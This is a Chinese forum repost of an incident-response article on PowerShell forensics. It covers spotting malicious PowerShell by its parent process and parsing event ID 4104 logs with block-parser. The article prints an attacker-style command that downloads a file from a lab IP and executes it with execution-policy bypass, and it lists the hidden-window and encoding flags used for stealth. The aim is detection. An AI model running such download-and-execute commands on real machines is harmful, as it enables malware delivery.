搜索

[18914] 2021-07-27_应急响应之powershell取证

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-27_应急响应之powershell取证 应 急 响 应 之 p o w e r s h e l l 取 证 原 创   花 十 一 一   h u a s e c   2 0 2 1 - 0 7 - 2 7 收 录 于 话 题   # 应 急 响 应   , 2 6 个                                                                   0 1 — 介 绍             P o w e r S h e l l 在 W i n d o w s 操 作 系 统 中 应 用 越 来 越 广 泛 ， 在 带 来 方 便 的 同 时 ， 它 还 为 攻 击 者 提 供 了 一 套 几 乎 前 所 未 有 的 功 能 。 P o w e r S h e l l   可 以 实 现 几 乎 所 有 可 以 想 象 的 恶 意 活 动 ： 权 限 提 升 、 凭 据 盗 窃 、 横 向 移 动 、 数 据 破 坏 、 持 久 性 、 数 据 泄 露 等 等 。 恶 意 P o w e r S h e l l   正 在 被 广 泛 使 用 。 通 常 攻 击 者 会 使 用 p o w e r s h e l l 做 下 载 器 ， 从 远 程 服 务 器 下 载 恶 意 p s 脚 本 到 受 害 机 器 ， 然 后 使 用 s t a r t -   p r o c e s s 、 I n v o k e - I t e m 或 f i l e 将 远 程 文 件 的 内 容 写 到 到 受 害 机 器 的 内 存 中 并 从 那 里 执 行 它 。 例 如 ： 从 远 程 下 载 1 . t x t 文 件 保 存 在 C : U s e r s < u s e r > A p p D a t a R o a m i n g 路 径 下 并 执 行 当 然 上 述 例 子 ， 也 可 以 换 种 方 式 来 写 ， D o w n l o a d S t r i n g ( ) 不 下 载 文 件 到 主 机 上 ， 但 它 将 远 程 文 件 的 内 容 直 接 复 制 到 受 害 机 器 的 内 存 中 。 这 种 技 术 被 广 泛 用 于 无 文 件 攻 击 中 。 如 下 ， 1 . t x t 中 是 w h o a m i ， 通 过 p o w e r s h e l l 调 用 执 行 w h o a m i 。 另 外 ， 攻 击 者 还 会 使 用 P o w e r S h e l l 中 各 种 可 用 的 参 数 选 项 来 使 操 作 尽 可 能 隐 蔽 。 以 下 是 在 攻 击 中 广 泛 使 用 的 参 数 -   W i n d o w S t y l e   h i d d e n   /   - w   h i d d e n :   对 用 户 隐 藏 程 序 窗 口 - E x e c   B y p a s s :   绕 过 / 忽 略 像 R e s t r i c t e d 这 样 限 制 P o w e r S h e l l 脚 本 运 行 的 执 行 策 略 - C o m m a n d   /   - c :   从 P o w e r S h e l l 终 端 执 行 任 何 命 令 - E n c o d e d C o m m a n d /   - e /   - - e n c :   将 编 码 后 的 参 数 作 为 命 令 行 传 递 - N o p   /   - n o p r o f i l e :   忽 略 P r o f i l e 文 件 中 的 命 令 。 0 2 — 检 测 观 察 P o w e r S h e l l 进 程 的 父 子 关 系 通 常 ， 当 我 们 使 用 w i n d o w s 开 始 菜 单 或 直 接 点 击 p o w e r s h e l l 文 件 运 行 P o w e r S h e l l 时 ， 它 会 在 进 程 E x p l o r e r   . e x e 下 启 动 ， 但 是 在 P o w e r S h e l l 攻 击 中 ， P o w e r S h e l l 脚 本 / 命 令 是 通 过 命 令 行 进 程 启 动 的 ， 因 此 在 攻 击 中 P o w e r S h e l l 进 程 的 父 进 程 是 c m d . e x e 。 当 然 有 些 正 常 环 境 也 是 使 用 c m d 启 动 p o w e r s h e l l ， 故 需 要 结 合 c m d 的 父 进 程 是 否 为 恶 意 。 ( N e w - O b j e c t   N e t . W e b C l i e n t ) . d o w n l o a d f i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 / 1 . t x t ' , $ e n v : A p p d a t a + " w h o a m i . t x t " ) ; I n v o k e - I t e m $ e n v : A p p d a t a " w h o a m i . t x t " C : W i n d o w s S y s t e m 3 2 W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e - n o p   - E x e c   B y p a s s   - C o m m a n d   ( N e w - O b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 / 1 . t x t ' , $ e n v : A p p d a t a +
日 志 上 日 志 上 M i c r o s o f t - W i n d o w s - P o w e r S h e l l   -   O p e r a t i o n a l . e v t x 记 录 了 主 机 上 的 p o w e r s h e l l 历 史 执 行 命 令 。 其 中 事 件 I D   4 1 0 4 （ 执 行 远 程 命 令 ） 中 的   S c r i p t b l o c k   文 本 通 常 包 含 执 行 操 作 的 代 码 。 可 以 使 用 b l o c k - p a r s e r 进 行 解 析 ， 下 载 地 址 : h t t p s : / / g i t h u b . c o m / m a t t h e w d u n w o o d y / b l o c k - p a r s e r 。 依 赖 库 ： l x m l 、 p y t h o n - e v t x 使 用 方 法 ： 将 所 有 p o w e r s h e l l 脚 本 解 析 到 一 个 文 件 中 > p y t h o n   b l o c k - p a r s e r . p y   - a   - f o u t p u t   " M i c r o s o f t - W i n d o w s - P o w e r S h e l l % 4 O p e r a t i o n a l . e v t x " 将 每 个 p o w e r s h e l l 脚 本 单 独 解 析 到 一 个 文 件 中 > p y t h o n   b l o c k - p a r s e r . p y   - o     o u t p u t 2     " M i c r o s o f t - W i n d o w s - P o w e r S h e l l % 4 O p e r a t i o n a l . e v t x "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理